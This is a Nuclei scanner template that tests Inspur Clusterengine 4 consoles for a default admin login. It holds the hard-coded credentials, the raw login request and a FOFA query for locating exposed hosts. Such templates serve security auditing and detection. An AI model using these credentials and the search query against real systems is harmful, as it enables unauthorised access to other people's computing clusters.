id: inspur-clusterengine-default-login

info:
  name: Inspur Clusterengine 4 - Default Admin Login
  author: ritikchaddha
  severity: high
  description: Inspur Clusterengine version 4 default admin login credentials were successful.
  reference:
    - https://blog.csdn.net/qq_36197704/article/details/115665793
  metadata:
    max-request: 1
    fofa-query: title="TSCEV4.0"
  tags: default-login,inspur,clusterengine

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}

        op=login&username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin|pwd
      password:
        - 123456
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"exitcode":0'

      - type: word
        part: header
        words:
          - "username=admin|pwd"
        condition: and

      - type: status
        status:
          - 200

# digest: 4a0a0047304502205a0a7bfae8326d478cff4165b5e1b4ada8d48f6b796c9e9cb65310a6c673bc1b022100ec27eaa708bfd5944f619c4d517ba9b77f0064eff47c13c95da156b9477c7057:922c64590222798bb761d5b6d8e72950
